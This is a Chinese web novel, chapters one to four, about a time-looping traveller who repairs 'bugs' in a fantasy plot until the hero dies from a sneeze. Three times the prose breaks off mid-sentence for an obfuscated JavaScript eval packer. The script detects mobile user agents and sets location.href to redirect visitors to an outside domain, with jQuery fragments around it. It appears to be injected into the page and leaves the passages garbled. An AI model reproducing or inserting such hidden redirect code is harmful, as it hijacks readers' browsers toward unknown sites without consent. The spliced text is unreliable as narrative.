《我正常得像个BUG》 1. 第一章 ——魔王陨落了！ 消息席卷斯顿雷王国，上上下下炸开了锅，城内几乎所有人都在讨论这则惊人的死讯。 魔族的领袖，魔王辛纳。 他以超乎人类的寿命统领诸多魔族肆虐上百年，无数村落和城市被破坏，人族被奴役，连身份尊贵的领主和皇室也不能幸免于难。 此前，无数勇者组建小队前去讨伐魔王，但实力差距导致全灭是家常便饭。 能活着回来已经是幸运女神眷顾了。 直到近日，宫廷占星师夜观天象，确认代表魔王辛纳的那颗星陨落了。 而击杀魔王辛纳的英雄，据推测是不久前组队出发的海罗。 至少大街小巷都这么传开了。 “消灭魔王的是海罗大人吗？” “当然！除了斯顿雷第一剑士海罗大人，还有谁能做到？他带领的小队无疑是历来最强的！” “太好了，我们终于不用活在魔王的恐惧下了。” “勇者大人万岁！他是斯顿雷的英雄！” “国王一定准备了很多赏赐吧？” …… 尽管勇者海罗和他的战友们还未凯旋，但议论此事的狂潮却一波又一波地往上推，仿佛要攀升至他们抵达城门的那一刻再彻底爆发。 素来热闹的酒馆也不例外。 “——要我说啊！这魔王已经活了数百年了，啥时候寿终正寝都不意外！” 几杯酒下肚，中年商贩醉醺醺地举着酒杯，酒液不慎晃到手背上，仿佛把理智也一起洒了出去： “凭什么说是海罗做的？你们有证、证据吗？说不定魔王是自然老死的！让、让海罗捡了一个大便宜……嗝……他都没回城！你们全在胡闹！” 商贩的假设立刻引起同行工匠的不满，他把酒杯重重地砸在桌面上，扯着嗓子反驳：“如果是自然死亡，辛纳早就选好继续者了！但到现在都没有下一任魔王的消息！” “那也有可能是生病或者意外！”商贩囔囔道。 工匠嗤笑一声：“算了吧，我看你是嫉妒海罗大人。” “哈？？区区斯顿雷第一剑士，谁、谁稀罕他！” “不就是你？” “反正我不相信是他！” 换成其他地方，两人的纷争绝对会引来店内顾客们的好奇或反感，但深夜的酒馆一桌比一桌热闹，没有人朝他们投来视线。 吵了好几轮，谁也不肯退让。 “不信你问别人！” “问就问！” 他俩终于意识到争不出结果，齐刷刷地将目光锁定在邻桌。 “喂！你觉得魔王是怎么死的？” “喂！你觉得魔王是怎么死的？” 如同排练过上千遍似的，一字不差，且分秒不差。 哪怕他俩提前约定好，也不会达成此般精准的效果，更何况其中一个还是话都说不清的醉鬼。 不和谐的现场在嘈杂的酒馆中有种说不上来的诡异。 “……” 被拉入这场舌战做裁判的是一位年轻男子。 他约莫二十岁出头，黑发在脑后扎成松散的低马尾，几缕没梳进去的发丝凌乱地垂在耳旁，导致两侧鬓发肉眼可见的长短不一。 领结上的红宝石和珍珠在昏暗的暖光下闪闪发亮，与这家消费低廉的酒馆格格不入。 商贩直勾勾地盯着那枚宝石，口水快流下来了：“这光泽……” 黑发青年置若罔闻，他叉起一片蒜香法棍片，浸泡到奶油蘑菇汤里。 直到烤得酥脆的面包片吸满汤汁，他才慢悠悠地抬起头，露出精致的五官，其中最亮眼的莫过于那双比红宝石还浓郁的血眸。 “……！” 商贩被阴冷的眼神吓得一颤，贪念和醉意全部蒸发。 “我不知道，但七天后海罗的小队就回首都了，到时候就清楚魔王的死因是否与他们有关。”黑发青年慵懒地回答，仿佛背台词般没有情绪。 “七天后！？” 工匠惊讶地冲到桌前，一不留神撞到了前来送餐的酒保，装着烤肉的盘子从空中滑落。 电光石火之间，一柄餐刀稳稳地托住盘子底部。 商贩和工匠都愣住了。 伸出援手的正是那位黑发青年。 他左手持刀，转动手腕递给呆楞的酒保，姿势优雅得像是贵族的餐前礼仪，可他的眼神却没有在刀的方向停留一秒。 与其说是察觉到意外，不如说更像是预知到意外。 酒保接过盘子，感激地道谢。 解决完小插曲，黑发青年的形象在工匠和商贩的心中更加神秘，但比起他的身份，他们更在意他透露的信息。 “这位大人，该怎么称呼您？”商贩特意换上敬语。 “魃戈。” 商贩谄媚地笑了笑：“魃戈大人，您怎么知道海罗七天后回城？” 对穷苦的勇者重拳出击，对富有的贵族卑躬屈膝。 很符合「商贩」的刻板印象。 魃戈放下餐刀：“这不是你该知道的。” 商贩瞬间了然地点头哈腰：“我懂，我懂。” 尽管回答完就喝起了奶油蘑菇汤的魃戈和想象中的贵族不太一样，但看他的打扮和气质，还有刚才不凡的出手，必定是有头有脸的大人物。 比他们这些平民更早得到海罗的消息很正常。 商贩和工匠没敢继续打扰这位出身不凡的神秘人，重新位置上继续喝酒聊天。 魃戈没逗留太久，他三下两下地吃完两块面包片，喝完最后一口奶油蘑菇汤，便擦了擦嘴离开了酒馆。 见空出一个新位置，酒保赶紧来收拾。 他如释重负地松了一口气，店里生意太火爆了，老板没完没了地冲他念叨又有客人抱怨没位置，但他不可能凭空变出空位，更不可能驱逐正在喝酒的客人。 客人没位置不能早点来吗？不能买酒回家喝吗？ 还有老板，赚了那么多钱不会扩张吗？ 关他一个干活的什么事？ 酒保忍不住把满腔怨气转移给刚离开的魃戈，小声吐槽道：“这客人真奇怪，大半夜来酒馆不喝酒，就吃点面包喝点汤……” “呕——！呕……” 隔壁桌突然传来不妙的声音和气味。 酒保脸色大变：“这位客人！别吐这儿！！” …… ——勇者将于七日后抵达首都。 作为魔王陨落的续集，这则消息很快在斯顿雷王国传开。 消息来源无人知晓，只知道王宫里里外外都在传。 不少人特意从其他城镇赶到首都，只为见证击杀魔王的斯顿雷第一剑士的英姿。 国王更是直接下令用最高待遇迎接海罗。 当然，国王不是傻子，不会为了一则来源不明的消息就草率地准备。 他找宫廷占星师、骑士团、讨伐失败的勇者等专业人士咨询过了，从占卜、路程和经验多个角度确认了消息的真实性。 尽管事出蹊跷，但绝不能怠慢勇者。 七日后，首都一大早就挤满了看热闹的市民们，比君主加冕仪式还要热火朝天。 “我从伊斯托城来的路上碰到海罗大人了！” “伊斯托城在首都的东边，魔族领地在首都的西边，你是碰到鬼了了吗？” “听说海罗大人有三名同行者，希望大家都能活着回来啊。” “哎，但愿吧，从来没有全员生还的先例。” 小乞丐艰难地在人群中穿行。 其实他对那些话题不感兴趣，对勇者的事迹也不感兴趣，他应该每天准时准点地在固定区域乞讨，而不是把时间浪费在其他事上。 但内心似乎有一股道不清的力量驱使着他。 他必须迎接勇者。 凭借瘦小的体形，小乞丐灵活地向城门的方向挪动，但就在下一秒，他的脚踝扭了一下，重心不稳地朝地面扑去。 “啊……欸！？” 惊呼半声，硬生生被托住身体的力道堵了回去，小乞丐一脸茫然地被扶了起来，力道在他站稳的那一刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899464|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卸下。 他诧异地扭过头，帮助自己的人已经离开了，从背影看是一位扎着辫子的年轻男性。 而他的手里多了一袋面包。 被忽视的饥饿感瞬间涌了上来，今天光顾着去抢占迎接勇者的好位置，醒来没吃过一口食物。 “慷慨的先生！谢谢您——！” 小乞丐感激地冲着那道背影大喊，直到对方消失在视野中，他才从袋子里拿出面包狼吞虎咽。 新鲜出炉的面包散发着诱人的香味，一口咬下去，表皮酥脆，内部柔软，每咀嚼一下都像是品尝来之不易的幸福。 在此之前，他只吃过冷掉的、硬硬的和发霉的面包。 吹过一阵风。 微风裹着面包的麦香味向前推进，在吵闹的人群中宛如一股清流，但在足够高、足够远的地方，气味就消散了。 魃戈正站在高处。 虽然钟塔离城门有点距离，绝不是第一时间目睹勇者的绝佳位置，但能把大半个首都尽收眼底。 况且，和脚下那群人不一样，他没打算瞻仰那位勇者大人。 和他传出去的消息一致，城门在屏住呼吸的期待中缓缓打开打开，勇者海罗骑着独角兽的英姿出现在人们的视线中，身后跟着他的三位队友。 分别是大魔法师维池、无证牧师希尔洛和守卫者汤克。 “天啊！所有人都活着回来了！” “海罗大人！您是斯顿雷王国的荣光！十八岁就有那么了不起的成就！” “不愧是天才魔法师，魔力隐藏得太好了！完全看不出他的真实水平！听说他八岁就能单挑上级魔族！” “哈哈哈，无证牧师的治疗魔法丝毫不逊色于宫廷那帮人！她在旅途中出手解决过一场魔法瘟疫，刚好是我的村落！” “虽然早就听说汤克是一位女盾兵，但看到那面比她还大的盾牌，还是很震撼啊！那可是当今最伟大的武器大师亲手打造的盾牌！” “谢谢你们！欢迎回家！” “等等，海罗大人好像很虚弱？” …… 整座城市如同刚开演的露天剧场，介绍大结局登台的演员，人声鼎沸，盛况空前。 但气氛还没推到极致。 魃戈俯瞰下方，比起欢呼的市民们，他才更像露天剧场的观众。 他静静地在心中默数。 ——五、四…… “阿嚏！” 海罗打了个喷嚏，恰好一道魔弹击中独角兽的大腿，受惊的独角兽猛烈地挣扎，随后，额前象征纯洁的单角染上浓稠的血液。 螺旋角贯穿了他的头颅，击碎了其乐融融的氛围。 ——三…… “啊啊啊啊啊啊！！！” 此起彼伏的尖叫声打破凝固的空气。 市民们被突如其来的悲剧吓得乱了手脚，拥挤的场面变得难以控制。 ——二…… “谁！？” 大魔法师维池猛地回头，寻找偷袭者的踪迹。 “海罗！” 无证牧师希尔洛焦急地冲向命悬一线的勇者。 “大家冷静！” 守卫者汤克举起盾牌，警戒的同时维持秩序。 ——一。 “嘭。” 海罗被独角兽甩了下来。 “咣。” 别在腰间的剑砸到地面。 “海罗大人！！！” “果然，无法得到全员生还的好结局么……” “不！我们的勇者！我们的荣光！” …… 斯顿雷王国的首都被恐惧与悲痛笼罩，谁也不愿意相信，击杀魔王的勇者居然以如此滑稽的方式落幕。 魃戈却不合时宜地笑出了声。 赤瞳倒映着比燃烧的蚁群还要混乱的首都，他没有将视线聚焦在任何一处，仿佛一切在他眼底只是虚幻的火焰。 就差没有同理心地感慨一句—— 勇者海罗，死得妙啊。 毕竟，惟有谢幕才能迎来新的开幕。 2. 第二章 【999周目】 原作线，勇者海罗死于打喷嚏，全文完。 …… …… …… 【1周目】 我是魃戈，擅长精神类异能。 精神类异能和精神系魔法属于两种不同的体系，前者依赖于精神力，后者依赖于魔力。 时常有人把两者混为一谈。 冬瓜属于蔬菜，西瓜属于水果，因为冬瓜和西瓜长得像，所以冬瓜属于水果。 不就是这种蠢货逻辑吗？？ 但说来奇怪，我没见过第二个使用精神力的同类。 瑞娅村长坚称我是特殊的，还说我一定能成为了不起的大魔法师。 我没有纠正她。 算了。 【2周目】 我好像做了一个梦。 梦中，病重的瑞娅村长躺在床上，非要让我当精神系魔法师。 她在我的注视下离世了。 然后我就醒了。 结果刚睁眼就听到村长病倒的噩耗。 预知梦吗？ 【3周目】 不，这不是梦。 我又一次在村长离世后“醒来”。 没有魔力的痕迹，也没有精神力的痕迹，虽然很不可思议，但我好像进入循环了。 村长的死是触发重启的契机？ 我需要把她救活？ 但短时间怎么可能做到？ …… 【8周目】 我的思路似乎错了。 耗时五次重启，我学会了治愈系魔法，村长活了下来，但还是在那个时间点重启了。 这次我治好村长便离开了。 她乐呵呵地祝我顺利，还说治愈系也不错。 看来她铁了心认为我是魔法师。 虽然了不起的大魔法师有点距离，但另一句话我相信了。 我是特殊的存在。 【9周目】 很遗憾，上周目一无所获。 留给我的时间太短了，来不及在重启前抵达村子的最南边。 探索暂停，我必须学会飞行魔法。 【10周目】 我果然不是学魔法的料。 由于飞行魔法不够熟练，我撞到岩石从半空掉下来，摔骨折了。 怪不得村长说治愈系魔法也不错。 【11周目】 一口气把搜寻了一座城市。 下次就能略过了。 【12周目】 搜寻了几个村落。 …… 【25周目】 南方大陆到尽头了。 我不是没想过循环无法终止，有些事就是莫名其妙地发生了，没有缘由。 但只有我带着记忆重启，说明什么？ 下次选北方吧。 【26周目】 南北温差好大！ …… 【40周目】 南北东三个方向都扫荡完了，只差西方还没去。 死局和运气差，我选择后者。 好消息是我的飞行魔法越来越熟练了，相信这次耗时会更短。 【41周目】 前方有魔族的气息。 村民也提醒我前不久有魔族大军路过，应该是攻打另一个村子，最好躲一阵子再出发。 我知道，我当然知道。 我只是一个孱弱的旅行者，撞上魔族我也很无奈。 但这种场合应该会有重大事件吧？ 【42周目】 有魔族想偷袭我。 孱弱的我条件反射地用法棍抽打了他，一棍子下去瞬间脑浆飞溅。 我深深地反省浪费粮食的行为。 被魔族肆虐的偏僻村子，有一个不起眼的地窖，地窖里关着一个小孩。 他问，大家把魔族赶出去了吗？ 我说，大家应该都死了。 他哭得很伤心。 地窖出口被施以隐藏魔力的阵法。 秉持着废物利用的原则，我用法棍敲碎了法阵。 法阵、法师、法杖都是魔法，法棍怎么不算魔法呢？ 我把小孩捞了上来。 他叫海罗，今年五岁，家人把他藏在地窖躲过魔族，却忘记留出来的方法了。 起初，我把这件事当成旅行小插曲没放在心上，但没多久我意识到了不对劲。 世界居然没有重启。 问题是，我把海罗放跑了啊？？ 【43周目】 ——001-饿死在地窖的勇者（已修复） 文字飘在空中，我无语凝噎。 搞了半天，我的任务是修复漏洞？ 早说啊！！ 非要等到新周目开启了才结算上一轮成就！ 非要等到第四十三次才告诉我那个小豆丁是勇者！ 总感觉被耍了。 平复完心情，我好奇地观察手中的碎片，是重启后突然出现的，不知道它有什么作用。 我把碎片拿去给商人看。 他用看神经病的眼神瞅着我，说空气有什么好看的？要饭能不能有点诚意？ ……感觉又被耍了。 算了，当务之急是去地窖捞海罗。 我很好奇上一周目发生了什么意外，没走多久就重启了。 难道他又死了？ 疑问在海罗捡起沾着绿色血液的法棍试图往嘴里塞的那一刻引刃而解。 成年人的崩溃往往在一瞬间。 魔族的血有毒啊！ 上周目是吃死的吧！？ 我冷酷地虎口夺法棍，然后询问海罗接下来的打算。 他说，他要讨伐魔王，为父母和村民复仇。 然后他就莫名其妙地遇见一位隐居高手自告奋勇地当他师傅。 好吧，或许这就是勇者的宿命。 这周目持续了很久。 距离把海罗捞上来已经一年了，我一直暗中跟着师徒俩。 我住在附近的费特村，邻居婆婆对我很好，让我想到了瑞娅村长。 坐在屋顶上，我观摩被揍得体无完肤的海罗。 进步很慢，很难想象这是勇者的水平。 但我突然想到，讨伐魔王的勇者不计其数，所有人都以失败告终。 说不定，海罗只是万千失败案例的一份子呢？ 婆婆用竹竿拍打屋檐。 她不准我爬屋顶，太危险了。 我从屋顶跳了下来，她邀请我今晚去她家吃饭。 正准备答应，精神力勘查到魔族气息，不远处有一片黑压压的魔族小队向村子靠近。 唉，总是要为难孱弱的旅行者。 我和婆婆说等一会儿，马上回来吃饭。 婆婆嚷嚷着饭都要凉了。 【44周目】 ——001-饿死在地窖的勇者（已修复） ——隐藏001-被法棍毒死的勇者（已修复） 漂浮在空中的文字多了一行，但没有按照数字顺序接下去。 区别在于，后者是我的不谨慎创造出的新漏洞。 碎片变成了三块。 我推测，两块是这周目新增的，一块石上周目带来的。 试了试，做不到像拼图一样衔接起来。 我没把太多时间耗费在用途不明的碎片上，再次踏上地窖捞勇者的旅途。 上周目我解决掉魔族就重启了。 难道我不应该插手吗？ 意思是会有帮手解决吗？ 婆婆又一次用竹竿拍打屋檐，然后邀请我今晚去她家吃饭。 我从屋顶跳了下来。 我说，好啊，今晚吃什么？ 她说，做了奶油蘑菇汤，可以泡法棍。 其实我没那么喜欢吃法棍。 一小时后，数十名魔族入侵村庄。 我正在厨房洗碗。 屋外的惨叫让碟子抖了一下，空气中弥漫着浓郁的血腥味。 没有帮手。 是我判断失误了。 走出厨房，魔族已经冲进屋子了。 婆婆挡在我的前面，不忘让我从窗户翻出去。 她从来没用那么大的声音吼过我。 我不想逃。 精神力勘查到向此处接近的师徒组，大概三分钟就能赶到。 我后知后觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899465|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地意识到了什么。 但我还是出手了。 【45周目】 太可笑了，不是吗？ 怀着一丝侥幸，终究落到进退两难的处境，这便是我最大的失误。 费特村是上天赐予勇者的历练。 不是让我大发善心的地方。 临出发前，瑞娅村长问我是不是有心事。 我问，如果我能治好你却没有治，你会怎么想？ 她不明白为什么我会这么想。 她以为我在做最坏的预想，比如我学会治愈系魔法太晚了，一切已经来不及了。 “受苦了，孩子。” 村长轻轻地抱住了我，苍老粗糙的手温柔地抚摸我的头发。 我不认为我受苦了。 但我没有纠正她。 一年后，魔族如期而至。 这次我没去过费特村。 我远远地望着海罗和他师父的背影，他们把魔族杀了个片甲不留。 就像魔族对待村民一样。 没有重启，停滞两周目的世界延续下去了。 这才是「正确」的轨迹。 两位迟到的英雄离开后，我还是没忍住，去了一趟费特村。 大火把记忆中的村庄烧成了废墟。 虽然尸体被烧得面目全非，但凭借对位置的印象，我找到了婆婆的尸体。 魔族的设定是残暴嗜虐。 我甚至冒出了一个荒谬的想法。 早知道我先把婆婆杀了，至少她不会走得太痛苦。 最后我把村民们都埋了。 我承认我很虚伪。 挖坑埋人的过程中，我一直在思考一个问题。 我应该怪海罗吗？ 将责任归结于六岁小孩并不合理，我只是忍不住和另一个问题作比较。 婆婆和村民应该怪我吗？ 我很快意识到两件事的性质不一样。 海罗不知情，我知情。 他无辜，我不无辜。 海罗是想要铲除魔王的勇者，我是不想被困住的旅行者。 他没有私心，我有私心。 ……但是。 如果不是被卷入循环，我不会来费特村，甚至连费特村都没听说过。 我只是恰好亲历了一场悲剧。 不必太过自责，这一切本该与我无关。 所以说，我很虚伪。 可惜，世界运转离不开虚伪的我。 【46周目】 ——001-饿死在地窖的勇者（已修复） ——隐藏001-被法棍毒死的勇者（已修复） ——隐藏002-逃过一劫的费特村（已修复） 有人死了要被修复，有人活着要被修复。 蛮不讲理的命运。 多说无益。 更重要的是弄清楚上周目重启的原因。 上一秒我在城镇上吃覆盆子树莓挞，下一秒我就回到了熟悉的小窝。 没有线索，只能慢慢排查。 倒霉到一定境界就会触底反弹，这回很快找到了问题所在。 碰到一个男孩用魔法单挑上级魔族。 他成功了，但也身负重伤。 面对只剩一口气的孩子，我考虑的不是该不该救，而是他是“勇者”还是“费特村”。 二分之一的概率，我选择赌一把。 我救了他。 很幸运，赌对了。 他叫维池，今年八岁，被誉为最年轻的天才魔法师，目标是以最强魔法师的身份打败魔王。 听。 是命运允许他活下去的光环。 【47周目】 ——001-饿死在地窖的勇者（已修复） ——002-同归于尽的大魔法师（已修复） ——隐藏001-被法棍毒死的勇者（已修复） ——隐藏002-逃过一劫的费特村（已修复） 真是捡到宝了。 我告诉瑞娅村长，我遇到了未来的大魔法师。 她乐呵呵地问，我去照镜子了吗？ 我无言以对。 行，好心态决定一生。 3. 第三章 【100周目】 剑士就好好用剑，非要试S级魔杖，这下好了，魔杖爆炸就老实了。 但大哥你不能变成尸体啊！ 我努力抢救奄奄一息的海罗。 有人感慨医者仁心，有人劝我放弃吧。 他们懂什么？ 死了我就要从头再来了好吗？ 生命体征越来越弱了。 活下去啊海罗！！ 别—— 【101周目】 死了。 我真诚建议海罗别去讨伐魔王了。 怎么死亡率那么高？？ …… 【264周目】 十八岁那年，海罗成为斯顿雷王国第一剑士，并申请组建勇者小队。 可喜可贺。 但我觉得困难才开始，是错觉吗？ …… 【270周目】 勇者小队一直出发不了。 一出城门就重启，我怀疑人员构成有问题。 剑士海罗、盾兵汤克、牧师希尔洛，配置不是挺齐全的吗？ 我突然想到002-同归于尽的大魔法师。 虽然维池也想打败魔王，但他是百年难得一遇的天才魔法师。 二十岁，恰好是谁也瞧不上的年龄。 他不屑与人为伍。 我第一次那么讨厌自命不凡的天才。 我说，单挑魔王无异于送死。 他说，呵呵，那是没有碰到他。 怪我。 我没忍住笑出了声。 【271周目】 ……啊。 居然吵到了世界重启。 维池幼稚也就算了，我太不应该了。 但情有可原。 很久没强烈的情绪波动，碰到这种情况刹不住车。 为了身心健康，我有必要发泄一下。 所以，这周目我忍无可忍，把维池揍了一顿。 论魔法天赋，我不如他。 论魔法造诣，他不如我。 重启将近两百次，大部分魔法都学会了，没到炉火纯青的地步，但够用了。 哪怕不会魔法，我的精神系异能也是数一数二的。 维池的脸肿成了猪头。 我很难解释魔法攻击怎么会呈现出物理伤害。 他哭丧着脸，扬言总有一天要我好看。 我不忍心告诉他，下次重启他也难逃一揍，应该是我要他好看才对。 愿赌服输的维池不情愿地拦下即将出城的海罗等人，高调宣布自己要加入队伍。 盾兵汤克被吓了一跳。 她以为牧师希尔洛无证行医的事暴露了，维池是被治毁容的患者。 抱歉，时间紧迫，我来不及治疗维池。 望着一行四人走出城门的背影，我松了一口气，赌对了，世界没有重启。 折腾那么久终于出发了。 …… 【351周目】 天杀的！这群没常识的蠢货！ 怎么会有人吃死蟹窜了就被魔族一锅端了？ 死蟹不能吃啊！！！ …… 【488周目】 大意了。 魔法瘟疫不是我的擅长领域。 等我察觉到不对劲，村落已经到了必须封锁焚烧的程度。 治愈系魔法在我之上的希尔洛都支撑不下去了。 这周目已经完蛋了。 我坐在树干上，瞅着屋内即将两腿一蹬的海罗，长长地叹息一声。 魔族？还是魔物？ 唔，诅咒系魔法不知道能否有同等效果。 回头看书研究一下。 下周目必须查清瘟疫的源头。 …… 【592周目】 这群喝水都能呛死的废物终于抵达魔族的领土了。 很难形容我一路的心情。 比循环更糟心的是缺乏常识的蠢货们。 航海不幸碰上暴风雨偏偏没人带指南针、去特殊区域没办通行证差点被当成稀有魔兽偷猎者被逮捕、睡太死没人听到小孩的哭声导致错过支线任务…… 低级错误不计其数。 有时候我很想冲出去把他们四个直接发射到魔王的面前。 根据套路，讨伐完魔王我就能解放了吧？ 能吧？ …… 【788周目】 勇者讨伐成功，魔王死了。 但我卡关了。 为什么一进城就重启？ 【789周目】 难道是进城门的姿势不对？ 【790周目】 难道是进城门的坐骑不对？ 【791周目】 居然是没人通知勇者回城的消息啊！！！！ 有病啊！！ 【792周目】 又卡关了。 【793周目】 我悄悄跟着上周目被抓的魔族。 他是魔王辛纳的亲信，得到死讯后率先赶到首都，藏匿在人群中鬼鬼祟祟的。 来给魔王报仇的吗？ 就在这时，有个小乞丐不小心撞到了他。 魔王亲信瞬间脸色大变，嘴里囔囔着晦涩的魔族语，眼神和语气甚是暴戾。 我努力辨认了一下。 大致意思是他从未打算取勇者性命，只想通过恶作剧让海罗丢人，现在行踪暴露，他也难逃一死。 然后他杀了小乞丐泄愤。 【794周目】 答案显而易见。 虽然这种事司空见惯了，但情绪不稳定的魔族害我又要忙活十三年，我不爽也情有可原。 所以，这次我没有去地窖捞五岁的海罗。 我直接杀到了魔族的地盘。 我把魔王亲信揍得鼻青眼肿，牙齿断掉好几颗，最后挑断他的手筋，从悬崖上踹了下去。 他当场一命呜呼。 【795周目】 不理智的后果是世界又重启了。 问题不大。 两次重启验证了我的猜想，魔王亲信必须在大结局登场。 所以，这次我抢先一步堵住小乞丐，避免了和煞神相撞的惨剧，还往他怀里塞了一袋面包。 面包是礼物，感谢他帮我锁定了突破口。 勇者小队迎着欢呼声进城了。 我藏匿在角落的阴影中。 魔族亲信动手了，他发射魔弹，但瞄准的是海罗骑着的独角兽的大腿。 确实是非常无聊的恶作剧。 万万没想到，魔王一战后身体虚弱的海罗感冒了。 他恰好打了个喷嚏，独角兽的螺旋角恰好贯穿了他的脑壳。 我惊呆了。 还能这样？？ 哇…果然骑马比较安全… 也许是见惯了死去活来的海罗，我没有道德地笑了出来。 笑声在哀嚎中格外突兀，旁边的人瞪了我一眼。 对不起。 我诚挚地擦了擦笑出来的眼泪。 与此同时，希尔洛悲痛地宣布海罗没救了。 正经牧师都这么说了，我的半吊子治愈系魔法就没必要凑上去献丑了。 就当花了十三年只为了被这一幕逗笑。 死都死了，还能怎么办呢？ 准备重启吧。 【？？？】 ——终：《平凡勇者从零开始击败魔王》（已修复） 事情的展开和我想象中的不太一样。 世界没有重启。 海罗、希尔洛、维特、汤克、独角兽、魔王亲信、国王、卫兵、市民…… 全都消失了。 我身处小盒子般空荡荡的环境，仿佛被塞进了仅有我一人存在的异次元。 怦怦。 怦怦。 安静得只能听到我的心跳声。 我大概能猜出是什么情况。 那么大的书名号，那么多次重启，猜不出来反而才奇怪。 面前多出了一本书。 缓缓翻开，熟悉的经历以文字形式展现在眼前，我有种不知道该哭还是该笑的魔幻感。 勇者在原文中有名字，他的同伴们在原文中名字。 工匠和商贩在原文中有名字，酒保在原文中有名字，小乞丐在原文中有名字。 唯独我没有在原文中出现。 即便我辛辛苦苦地把世界拉回正轨，付出了比海罗讨伐魔王艰难百倍的努力。 我对名垂青史并不在意，更别提这种漏洞多到需要我来修复的三流小说。 只是稍稍有些不爽自己的贡献被抹除。 但没登场恰恰说明我的命运没有被一本破书限制。 不像有些人。 ——勇者死于打喷嚏。 大结局一笔一画地呈现在我的眼前。 我觉得有点可笑。 如果只是追求如此荒唐的结局，那些死去的人又算什么？ 魔王必须要由海罗铲除吗？ 我不行吗？ 我不是能做得更好吗？ 就因为我不是海罗？可海罗不还是死了吗？ 我忍不住笑了出来。 不是怒极反笑，而是怀疑我的愤怒只是一场没有观众的伪装。 我又有什么资格义愤填膺？35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899466|160060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 所有人都死过，只有我一次没死。 难道我的遭遇比他们的牺牲更值得同情吗？ 不，只是因为我还活着。 活着才能表达。 不，不是。 不对。 我早就察觉到身边人都不正常了。 这种感觉就像每一个人都拥有特定的「身份」，必须遵从角色的设定和逻辑。 大家都是不正常的「角色」，我没必要“表演”愤怒。 ——够了，魃戈。 我默默在心中宽恕自己。 只要合上小说，就能迎接属于自己的人生。 我等这一天等了太久了。 那些被书写在小说上的命运，和我有什么关系呢？ 我是自由的啊。 我是特殊的存在。 【796周目】 我对着熟悉的房间陷入沉思。 不应该延续勇者死亡的结局继续下去吗？ 怎么又重启了？？ 我烦躁地捂住脸，血管像是被废物小队踩着跳踢踏舞似的，扑通扑通跳个不停。 几秒后，脑海里只有一个想法。 谁爱拯救世界就去拯救这见鬼的疯癫世界去！我撂挑子不干了！ 这一切和原作没出现的我究竟有什么关系？ 莫名其妙！ 人在想通后会轻松很多。 我没有采取任何行动，心安理得地摆烂。 本该前往地窖捞海罗的日子，我充满闲情雅致地在家自制法棍。 不出意外的话，世界将在我啃法棍的过程中重启。 然而，直到法棍在肚子里消化得一干二净，世界依旧有条不紊地向前推进。 直觉让我隐隐有些不安。 怀揣着疑惑，我来到海罗所在的村落，驾轻就熟地找到了地窖的位置。 掀开地窖门，往里一看…… 幼年海罗倒在角落，安静得像一具尸体。 呃，就是尸体。 我沉默了。 有句脏话不知当讲不当讲。 不是，人怎么没了？ 世界不是没有重启吗？我以为海罗肯定得救了啊？ 开局主角领便当了，后面的剧情该怎么演？ 我…… 我先埋个勇者压压惊。 填上最后一铲子土，我在小土坡插上了刻得歪歪扭扭的墓碑。 整理了一下思绪。 如果说拿到小说前，世界必须按照固定剧情发展，那接下来的新周目就是自由探索模式。 我可以做任何想做的事。 乍一听充满自由。 但我怀疑这是一个恶劣的骗局。 【797周目】 被我猜对了。 自由探索模式也躲不过重启的命运。 十三年后，世界的进度条再度清零，我又回到熟悉的小说开头。 而那天恰巧是原作勇者身亡的日子。 很明显，世界的「寿命」只有一本小说那么长。 就像海罗不管是死是活都必须迎来十八岁死亡的大结局，世界也必定在时间对应原作结局的那一刻结束。 但和我有什么关系？ 只要无视重启，十三年的时间够漫长了，我的生活多姿多彩，甚至更丰富了。 【798周目】 知道了，大魔法师，这周目一定。 我真受不了村长。 大魔法师有什么好的？ 【799周目】 既然有了大魔法师，小队就不需要维池了吧？ 旁观那么多次，不如亲自冒险一趟。 【800周目】 没意思，所有事件我能倒背如流。 这周目去当魔王吧。 …… 【825周目】 召唤师没意思。 【826周目】 占星术师好无聊。 【827周目】 诚然，人生充满无限可能。 我只能在有限的时间里做出看似无限的选择。 …… 【896周目】 我已经救了费特村一百次了。 算上曾经的一次，应该是一百零一次。 其实不管也无所谓吧？ 活着和死了有什么区别吗？ …… 【900周目】 论坛是什么？ …… …… …… 【999周目】 原作线，勇者海罗死于打喷嚏，全文完。 上传成功。 我期待全新的故事。 4. 第四章 999周目。 淡淡的血腥味融在空中，被风携着在斯顿雷王国的首都扩散，可惜魃戈所在的钟塔太远了，他什么也没闻到。 皇家车马赶到，吵吵嚷嚷的街道立刻变得肃静，姗姗来迟的国王晚所有人一步得知勇者的死讯。 “什么！？” 国王脸上的喜悦荡然无存，他悲痛地看向面部被希尔洛用魔法擦拭干净的海罗，额头的窟窿如同吸人灵魂的黑洞般可怖： “早知道我就吃个早饭了！” 